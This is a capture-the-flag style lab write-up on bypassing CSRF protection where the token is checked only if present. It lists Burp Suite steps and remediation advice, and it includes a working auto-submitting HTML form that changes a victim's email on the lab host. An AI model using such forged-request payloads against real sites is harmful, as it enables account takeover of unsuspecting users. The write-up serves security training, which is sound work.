SCENARIO

The application consists of an email change functionality which is vulnerable to CSRF but it only validates the CSRF token if it’s present in the request otherwise it just ignores it. We will try to mount an exploit and deliver it to the target with the help of an exploit server in order to change the email address of the target.

**PROCEDURE**

1. Go the vulnerable web applications and log in with the username and password provided to act as an user.
2. Then change the email once to study the HTTP request and response.
3. In the BurpSuite’s Proxy tab right click on the request and select Engagement tools and then on generate CSRF PoC.
4. Then in the dialogue box enable the option to auto-submit script and click Regenerate.
5. Go to the exploit server and paste the request into the body tag of the exploit and remove the entire input tag consisting of CSRF token, then click store.
6. At the end, click the button to deliver the exploit to the victim, we will see that our POST request gets rejected due to security measures.
7. Now modify the request from POST to GET in order to get it through the security protocols.

**PAYLOAD**

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', '', '/')</script>

<form action="https://0a5f0075038dda8d81483e3d00cf00e2.web-security-academy.net/my-account/change-email" method="POST">

<input type="hidden" name="email" value="rudransh@gmail.com" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

**REMEDIATION**

1. **Mandatory CSRF Token Validation:** Ensure that every state-changing request, whether POST or otherwise, mandates the presence of a valid CSRF token. If the CSRF token is absent or invalid, the request should be rejected. This prevents attackers from simply omitting the CSRF token to bypass the validation.
2. **Avoid State-Changing GET Requests:** As a best practice, never use GET requests for state-changing operations. Always use POST requests or other appropriate HTTP methods for such operations. This reduces the risk of CSRF attacks through methods like URL sharing or forced browsing.
3. **Proper Error Handling:** The application should not silently ignore missing CSRF tokens or treat their absence as valid input. Instead, it should respond with appropriate error messages or warnings to the user. This can alert users to potential attacks or misconfigurations and prevent unexpected behavior in the application.